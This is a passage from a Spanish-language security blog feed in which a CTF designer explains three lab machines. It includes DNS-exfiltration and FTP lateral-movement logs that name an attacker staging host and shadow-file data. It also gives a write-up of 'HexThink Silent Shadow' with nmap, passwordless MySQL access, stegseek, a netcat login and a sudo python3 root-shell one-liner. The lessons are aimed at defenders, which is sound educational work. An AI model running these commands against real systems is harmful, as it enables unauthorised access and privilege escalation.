[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? Nzo6OgpkZXZ1c2VyOiQ2JHJvdW5kcz02NTYwMDAkYWJjZGVmZyRoaWprbG1u.data.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu.data.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? b3AuLi46MTgwMDE6MDo5OTk5OTo3Ojo6CmZ0cHVzZXI6KjoxODAwMTowOjk5.data.eltopo.thl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El dominio utilizado para la exfiltración, sin contar los subdominios con datos, es &lt;code&gt;data.eltopo.thl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Esta parte del diseño refleja un problema defensivo muy habitual: cuando un sistema ya ha sido comprometido, la exfiltración no necesita abrir necesariamente un canal nuevo y evidente. Puede reciclar un protocolo imprescindible para la operación normal. El aprendizaje que me interesaba forzar aquí era que el analista no se quedara en el IOC superficial, sino que entendiera la lógica del canal: fragmentación, encapsulado en consultas y reutilización de infraestructura aparentemente inocua.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Movimiento lateral hacia el servidor interno&lt;/h2&gt;
&lt;p&gt;El siguiente salto en la cadena es deliberadamente poco glamuroso: una vez comprometido el frontal web, el atacante aprovecha conectividad interna para alcanzar &lt;code&gt;10.0.0.50&lt;/code&gt;. Elegí FTP porque es un protocolo fácil de leer en bruto y porque representa bien un problema muy real: servicios internos heredados o mal gobernados que siguen siendo utilizables por un atacante una vez pisa el perímetro.&lt;/p&gt;
&lt;p&gt;El &lt;code&gt;ftp.log&lt;/code&gt; muestra la secuencia completa:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat ftp.log
[09:10:13] 192.168.1.10 -&amp;gt; 10.0.0.50 FTP 220 (vsFTPd 3.0.3)
[09:10:13] 192.168.1.10 -&amp;gt; 10.0.0.50 FTP USER devuser
[09:10:13] 10.0.0.50 -&amp;gt; 192.168.1.10 FTP 331 Please specify the password.
[09:10:13] 192.168.1.10 -&amp;gt; 10.0.0.50 FTP PASS developer123
[09:10:13] 10.0.0.50 -&amp;gt; 192.168.1.10 FTP 230 Login successful.
[09:10:13] 192.168.1.10 -&amp;gt; 10.0.0.50 FTP LIST
[09:10:13] 10.0.0.50 -&amp;gt; 192.168.1.10 FTP 226 Directory send OK.
[09:10:13] 192.168.1.10 -&amp;gt; 10.0.0.50 FTP GET client_database_backup.zip
[09:10:13] 10.0.0.50 -&amp;gt; 192.168.1.10 FTP 150 Opening BINARY mode data connection.
[09:10:13] 10.0.0.50 -&amp;gt; 192.168.1.10 FTP 226 Transfer complete.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;De aquí se obtienen cuatro piezas clave de la investigación:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;El protocolo usado para pivotar al servidor interno fue &lt;code&gt;FTP&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El nombre de usuario utilizado fue &lt;code&gt;devuser&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;La contraseña empleada para el movimiento lateral exitoso fue &lt;code&gt;developer123&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El fichero robado del servidor interno fue &lt;code&gt;client_database_backup.zip&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En términos de diseño, esta fase buscaba que la intrusión no terminara en la propia máquina comprometida. El servidor web actúa aquí como cabeza de puente hacia la red interna. Eso refleja una situación muy común en entornos reales: el activo expuesto a Internet rara vez es el objetivo final; muchas veces solo es el primer sistema que ofrece al atacante una posición de ventaja.&lt;/p&gt;
&lt;p&gt;Además, el uso de credenciales claras y un servicio interno accesible pretende subrayar algo muy concreto: la seguridad del perímetro importa menos en cuanto una máquina expuesta cae y puede “ver” recursos internos con controles débiles. El fallo ya no es solo la explotación inicial. La cadena funciona porque el entorno permite que ese compromiso se propague.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lectura de la cadena completa&lt;/h2&gt;
&lt;p&gt;Una vez unidos los artefactos, la secuencia del incidente queda razonablemente cerrada:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Un actor externo realiza una petición &lt;code&gt;POST&lt;/code&gt; a &lt;code&gt;upload.php&lt;/code&gt;, que destaca como punto de entrada más probable.&lt;/li&gt;
&lt;li&gt;Tras la intrusión, el servidor descarga el &lt;em&gt;stager&lt;/em&gt; &lt;code&gt;p.sh&lt;/code&gt; desde &lt;code&gt;162.248.1.100&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A continuación, la máquina comprometida comienza a emitir consultas de &lt;em&gt;beaconing&lt;/em&gt; como &lt;code&gt;1.beacon.c2.eltopo.thl&lt;/code&gt;, estableciendo un canal de C2 sobre DNS.&lt;/li&gt;
&lt;li&gt;Ese mismo mecanismo se reutiliza para exfiltrar contenido relacionado con &lt;code&gt;shadow&lt;/code&gt; hacia &lt;code&gt;data.eltopo.thl&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Con control operativo sobre el servidor expuesto, el atacante pivota internamente a &lt;code&gt;10.0.0.50&lt;/code&gt; usando FTP.&lt;/li&gt;
&lt;li&gt;La autenticación se realiza con &lt;code&gt;devuser:developer123&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El impacto final es el robo de &lt;code&gt;client_database_backup.zip&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lo que me interesaba enseñar con esta máquina no era una explotación concreta, sino el valor de reconstruir contexto. Cada artefacto, aislado, dice poco. Juntos describen una intrusión completa con persistencia operativa, canal encubierto, movimiento lateral y robo de información.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar El Topo DNS&lt;/h2&gt;
&lt;p&gt;El laboratorio está construido para que la resolución obligue a pensar en encadenamiento de fallos. No basta con detectar el vector inicial ni con reconocer un túnel DNS. La máquina solo tiene sentido cuando se entiende cómo una anomalía web mínima deriva en control remoto, cómo ese control se usa para exfiltrar datos y cómo el acceso a un servidor expuesto se convierte después en acceso a un activo interno.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Entrada por &lt;code&gt;upload.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Buscar anomalías significativas en logs con mucho ruido&lt;/td&gt;
&lt;td&gt;Superficie web expuesta con funcionalidad susceptible de abuso&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descarga de &lt;code&gt;p.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Relacionar explotación con &lt;em&gt;payload&lt;/em&gt; de post-compromiso&lt;/td&gt;
&lt;td&gt;Ejecución de contenido remoto desde un servidor comprometido&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Beaconing DNS&lt;/td&gt;
&lt;td&gt;Distinguir resolución legítima de señalización de C2&lt;/td&gt;
&lt;td&gt;Ausencia de control o visibilidad suficiente sobre DNS saliente&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltración por &lt;code&gt;data.eltopo.thl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Entender DNS como canal de salida de datos&lt;/td&gt;
&lt;td&gt;Protocolos básicos reutilizados como transporte encubierto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pivot interno por FTP&lt;/td&gt;
&lt;td&gt;Leer el activo expuesto como puente hacia red interna&lt;/td&gt;
&lt;td&gt;Segmentación débil o confianza excesiva entre sistemas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Login con &lt;code&gt;devuser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Valorar el impacto de credenciales útiles tras un compromiso inicial&lt;/td&gt;
&lt;td&gt;Gestión deficiente de cuentas y accesos internos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Robo de &lt;code&gt;client_database_backup.zip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Medir el incidente por su impacto final y no solo por el vector inicial&lt;/td&gt;
&lt;td&gt;Exposición de información sensible en servicios internos accesibles&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;La lección reutilizable es clara: una intrusión silenciosa no necesita técnicas especialmente sofisticadas si encuentra una cadena razonable de decisiones débiles. El atacante solo tiene que enlazarlas.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Registros de acceso web para detección de anomalías en métodos HTTP y recursos solicitados.&lt;/li&gt;
&lt;li&gt;Telemetría DNS para identificación de &lt;em&gt;beaconing&lt;/em&gt; y exfiltración encubierta.&lt;/li&gt;
&lt;li&gt;Logs de protocolos internos como FTP para reconstrucción de movimiento lateral.&lt;/li&gt;
&lt;li&gt;Artefactos de sistema tipo &lt;code&gt;shadow&lt;/code&gt; como indicador de acceso privilegiado y robo de credenciales o hashes.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>HexThink Silent Shadow: lo que aprendí diseñando una cadena de compromiso entre base de datos, secretos ocultos y privilegios mal delegados</title><link>https://blog.oscarai.tech/posts/hexthink-silent-shadow-lo-que-aprend%C3%AD-dise%C3%B1ando-una-cadena-de-compromiso-entre-base-de-datos-secretos-ocultos-y-privilegios-mal-delegados</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/hexthink-silent-shadow-lo-que-aprend%C3%AD-dise%C3%B1ando-una-cadena-de-compromiso-entre-base-de-datos-secretos-ocultos-y-privilegios-mal-delegados</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; avanzada&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HexThink Silent Shadow&lt;/strong&gt; es una máquina que diseñé para The Hackers Labs con una idea muy concreta: enseñar cómo varios fallos que, por separado, podrían parecer asumibles, terminan abriendo el sistema por completo cuando se conectan entre sí.&lt;/p&gt;
&lt;p&gt;No planteé este laboratorio como una colección de trucos ni como una máquina pensada para impresionar por complejidad artificial. La construí para que cada fase tuviera una lógica clara y una lección detrás: una base de datos expuesta, una autenticación débil, información útil escondida donde no debería estar y privilegios delegados de forma peligrosa.&lt;/p&gt;
&lt;p&gt;Más que un writeup de explotación, esta entrada quiere dejar claro &lt;strong&gt;qué quise enseñar al diseñar la máquina&lt;/strong&gt; y por qué esa cadena tiene sentido fuera del laboratorio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nombre&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;HexThink Silent Shadow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IP objetivo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.0.2.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Servicios&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SSH (22), HTTP (80), MySQL (3306), servicio custom (9090)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cadena principal&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;acceso inseguro a MySQL → extracción de datos → esteganografía → autenticación en servicio 9090 → acceso SSH → abuso de &lt;code&gt;sudo python3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dificultad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;avanzada&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Punto de partida: una superficie expuesta con varias puertas posibles&lt;/h2&gt;
&lt;p&gt;La máquina arranca mostrando varios servicios interesantes desde el primer escaneo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -p- --open -sCV -Pn --min-rate 5000 10.0.2.16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
80/tcp   open  http        Apache httpd 2.4.58 (Ubuntu)
3306/tcp open  mysql       MariaDB 5.5.5-10.11.11
9090/tcp open  zeus-admin? (Protocolo no HTTP identificado)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cuando diseñé este arranque, no quería que la máquina empujara a un único camino obvio. Quería que el atacante viera varias piezas expuestas y tuviera que decidir cuál merecía más atención.&lt;/p&gt;
&lt;p&gt;La más importante no era el puerto raro. Era &lt;strong&gt;MySQL en red&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo primero que quería enseñar: una base de datos expuesta ya es un problema serio&lt;/h2&gt;
&lt;p&gt;En la parte web aparece un posible usuario:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ctf_user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esa pista sirve para probar acceso a MySQL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -h 10.0.2.16 -u ctf_user --skip-ssl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La conexión se acepta sin contraseña.&lt;/p&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;La primera lección de esta máquina es simple: &lt;strong&gt;una base de datos accesible desde red con autenticación débil o inexistente ya es una brecha de seguridad&lt;/strong&gt;, aunque todavía no haya shell, RCE o privilegios elevados.&lt;/p&gt;
&lt;p&gt;En muchos entornos se minusvalora este tipo de exposición porque “solo es la base de datos”. Precisamente por eso quise usarla como punto de entrada. Desde ahí ya puedes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;enumerar estructura interna&lt;/li&gt;
&lt;li&gt;recuperar usuarios y hashes&lt;/li&gt;
&lt;li&gt;leer contenido que no debía ser accesible&lt;/li&gt;
&lt;li&gt;encontrar pistas operativas que acaban conectando con otros servicios&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No hace falta explotar el motor si la propia configuración ya te deja entrar.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo segundo: no toda la información valiosa está en la tabla que parece más obvia&lt;/h2&gt;
&lt;p&gt;Una vez dentro, se enumeran bases de datos y tablas:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHOW DATABASES;
USE ctf_db;
SHOW TABLES;
SELECT * FROM usuarios;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En &lt;code&gt;usuarios&lt;/code&gt; aparecen hashes MD5. Se pueden crackear, pero en esta máquina no eran la clave real del compromiso.&lt;/p&gt;
&lt;p&gt;La pieza importante estaba en otro sitio: la tabla &lt;code&gt;noticias&lt;/code&gt;, donde había un mensaje y una imagen que invitaban a mirar “un poco más allá”.&lt;/p&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;Quise romper una expectativa muy común: entrar en una base de datos, ver hashes y asumir que el camino bueno pasa por crackearlos y reutilizarlos.&lt;/p&gt;
&lt;p&gt;A veces sí. Aquí no.&lt;/p&gt;
&lt;p&gt;Aquí quería enseñar que &lt;strong&gt;la información verdaderamente útil no siempre está en la tabla de usuarios&lt;/strong&gt;, sino en contenido auxiliar, comentarios, ficheros embebidos o piezas que el equipo considera “inofensivas”.&lt;/p&gt;
&lt;p&gt;En la práctica real, eso pasa mucho. Los secretos no siempre viven donde deberían. A veces están en una nota, una imagen, un adjunto, una tabla de noticias o una ruta aparentemente secundaria.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo tercero: ocultar secretos no es protegerlos&lt;/h2&gt;
&lt;p&gt;Para inspeccionar la imagen a fondo, se descargó y se analizó con esteganografía:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stegseek imagen.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;passphrase:&lt;/strong&gt; &lt;code&gt;hello&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;archivo revelado:&lt;/strong&gt; &lt;code&gt;instrucciones.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;La idea aquí no era hacer un “reto de estego” por meter variedad. La intención era otra: mostrar que &lt;strong&gt;esconder información sensible no equivale a protegerla&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Muchas veces los equipos hacen esto con otro formato:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;credenciales en imágenes de documentación&lt;/li&gt;
&lt;li&gt;secretos en adjuntos internos&lt;/li&gt;
&lt;li&gt;instrucciones operativas embebidas en recursos estáticos&lt;/li&gt;
&lt;li&gt;datos “disimulados” pero no realmente protegidos&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En esta máquina, la imagen sirve para enseñar justo eso: cuando alguien ya ha comprometido una capa, todo lo que parecía “oculto” deja de estarlo.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo cuarto: un servicio no estándar no deja de ser una superficie crítica&lt;/h2&gt;
&lt;p&gt;Con la información recuperada desde la imagen, se interactúa con el servicio del puerto &lt;code&gt;9090&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -e &quot;LOGIN whisper\nKEY whisper9090&quot; | nc 10.0.2.16 9090
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esa autenticación permite avanzar y obtener acceso útil para continuar la cadena.&lt;/p&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;Aquí la lección es muy importante: &lt;strong&gt;los servicios custom o no estándar suelen recibir menos revisión que SSH, Apache o MySQL, y precisamente por eso son peligrosos&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;No quería que el puerto &lt;code&gt;9090&lt;/code&gt; fuera un simple adorno raro. Quería que representara un patrón real:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;servicio interno con lógica propia&lt;/li&gt;
&lt;li&gt;autenticación apoyada en secretos débiles&lt;/li&gt;
&lt;li&gt;confianza excesiva en que “nadie sabrá cómo hablarle”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ese tipo de backend auxiliar, protocolo casero o servicio administrativo aparece mucho más de lo que parece. Y cuando se conecta con otros sistemas, el riesgo escala muy rápido.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo quinto: cuando conectas piezas débiles, ya no necesitas una gran vulnerabilidad&lt;/h2&gt;
&lt;p&gt;Con las credenciales obtenidas, se accede por SSH como &lt;code&gt;whisper&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh whisper@10.0.2.16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A partir de ahí, el sistema ya está comprometido a nivel de usuario.&lt;/p&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;Hasta este punto de la máquina no hay una CVE espectacular, ni un exploit llamativo, ni una escalada rara. Y, sin embargo, el atacante ya está dentro.&lt;/p&gt;
&lt;p&gt;Eso es deliberado.&lt;/p&gt;
&lt;p&gt;La enseñanza aquí es que &lt;strong&gt;muchos compromisos reales no nacen de un gran fallo aislado, sino de varias debilidades medianas bien conectadas&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un dato útil expuesto en web&lt;/li&gt;
&lt;li&gt;una base de datos accesible sin control suficiente&lt;/li&gt;
&lt;li&gt;una imagen con información sensible&lt;/li&gt;
&lt;li&gt;un servicio custom que acepta secretos débiles&lt;/li&gt;
&lt;li&gt;una reutilización operativa que termina en acceso SSH&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eso es mucho más representativo de la realidad que una máquina basada solo en un exploit famoso.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;La fase final: privilegios mal delegados siguen rompiendo sistemas&lt;/h2&gt;
&lt;p&gt;Una vez dentro como &lt;code&gt;whisper&lt;/code&gt;, se revisan permisos sudo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La vía de escalada permitía abusar de &lt;code&gt;python3&lt;/code&gt; con privilegios elevados:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo python3 -c &apos;import pty, os; os.execv(&quot;/bin/bash&quot;, [&quot;bash&quot;])&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Con eso se obtiene shell como &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Qué quería enseñar aquí&lt;/h3&gt;
&lt;p&gt;La última lección de la máquina es una de las más importantes para entornos reales: &lt;strong&gt;no hace falta que un binario sea “peligroso” por sí mismo para convertirse en una vía de root&lt;/strong&gt;. Basta con ejecutarlo con más privilegios de los que debería tener.&lt;/p&gt;
&lt;p&gt;Aquí usé &lt;code&gt;python3&lt;/code&gt; precisamente porque es una herramienta común, legítima y presente en muchos sistemas. Eso refuerza el aprendizaje:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;delegar &lt;code&gt;sudo&lt;/code&gt; sobre herramientas interpretadas o muy versátiles es peligroso&lt;/li&gt;
&lt;li&gt;conceder privilegios “por comodidad” suele abrir más de lo que se pretendía&lt;/li&gt;
&lt;li&gt;la confianza excesiva en binarios comunes es un error recurrente&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No quería una escalada exótica. Quería una escalada creíble.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar HexThink Silent Shadow&lt;/h2&gt;
&lt;p&gt;Si tuviera que resumir el aprendizaje central de esta máquina, sería este:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;el sistema no cae por un único fallo crítico, sino por la suma de varias decisiones malas que se refuerzan entre sí.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ese era el objetivo del diseño.&lt;/p&gt;
&lt;h3&gt;Resumen de la cadena&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Web inicial&lt;/td&gt;
&lt;td&gt;filtrar contexto útil&lt;/td&gt;
&lt;td&gt;exposición innecesaria de información operativa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MySQL sin contraseña&lt;/td&gt;
&lt;td&gt;acceso indebido a datos internos&lt;/td&gt;
&lt;td&gt;base de datos expuesta y mal protegida&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tabla &lt;code&gt;noticias&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;valor de contenido auxiliar&lt;/td&gt;
&lt;td&gt;secretos o pistas fuera de los lugares obvios&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Esteganografía&lt;/td&gt;
&lt;td&gt;falsa sensación de protección&lt;/td&gt;
&lt;td&gt;ocultación sin seguridad real&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicio 9090&lt;/td&gt;
&lt;td&gt;riesgo en servicios custom&lt;/td&gt;
&lt;td&gt;protocolos internos con autenticación débil&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH como &lt;code&gt;whisper&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;impacto de encadenar piezas&lt;/td&gt;
&lt;td&gt;compromiso por correlación de fallos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;abuso de privilegios legítimos&lt;/td&gt;
&lt;td&gt;delegación peligrosa de permisos&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Lo que me interesa al crear estos CTF&lt;/h2&gt;
&lt;p&gt;Al diseñar máquinas como &lt;strong&gt;HexThink Silent Shadow&lt;/strong&gt;, no busco que el reto sea solo “llegar a root”. Busco que quien lo resuelva entienda por qué ha llegado ahí.&lt;/p&gt;
&lt;p&gt;Me interesa construir laboratorios donde la cadena tenga lógica, donde cada paso responda a una mala decisión concreta y donde el aprendizaje sea reutilizable fuera del CTF.&lt;/p&gt;
&lt;p&gt;Porque al final, ese es el valor real de crear estos escenarios: no demostrar que algo puede romperse, sino &lt;strong&gt;mostrar cómo se rompe cuando se normalizan prácticas inseguras&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mariadb.org/&quot;&gt;MariaDB / MySQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/RickdeJager/stegseek&quot;&gt;stegseek&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openssh.com&quot;&gt;OpenSSH&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gtfobins.github.io&quot;&gt;GTFOBins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>Scape Room: diseñando una cadena de fallo con presión, pistas y preloading</title><link>https://blog.oscarai.tech/posts/scape-room-dise%C3%B1ando-una-cadena-de-fallo-con-presi%C3%B3n-pistas-y-preloading</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/scape-room-dise%C3%B1ando-una-cadena-de-fallo-con-presi%C3%B3n-pistas-y-preloading</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; avanzada&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Scape Room la diseñé como un laboratorio orientado a una idea concreta: enseñar cómo una cadena de fallos aparentemente heterogénea puede mantener coherencia técnica cuando cada fase empuja a la siguiente. No me interesaba construir una máquina basada en obstáculos aislados ni en giros arbitrarios, sino en una progresión donde la enumeración, la lectura de pistas, el abuso de un servicio legítimo y una mala gestión de bibliotecas compartidas terminen formando una única historia técnica.&lt;/p&gt;
&lt;p&gt;El nombre no es casual. Quise trasladar parte de la lógica de un escape room al diseño del reto: presión, necesidad de interpretar señales pequeñas y obligación de distinguir entre ruido y pista útil. Ese componente no busca dramatizar la experiencia, sino obligar a leer mejor la superficie de exposición. En entornos reales, muchas intrusiones no avanzan por una sola vulnerabilidad crítica, sino por una sucesión de decisiones pobres: información filtrada en una capa, credenciales mal expuestas en otra, automatismos inseguros y mecanismos de carga que terminan rompiendo el modelo de confianza del sistema.&lt;/p&gt;
&lt;p&gt;El valor de esta máquina no está solo en llegar a root. Está en entender por qué cada fase existe, qué error representa y qué quise forzar como aprendizaje al construirla.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;Scape Room&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;192.168.1.41&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
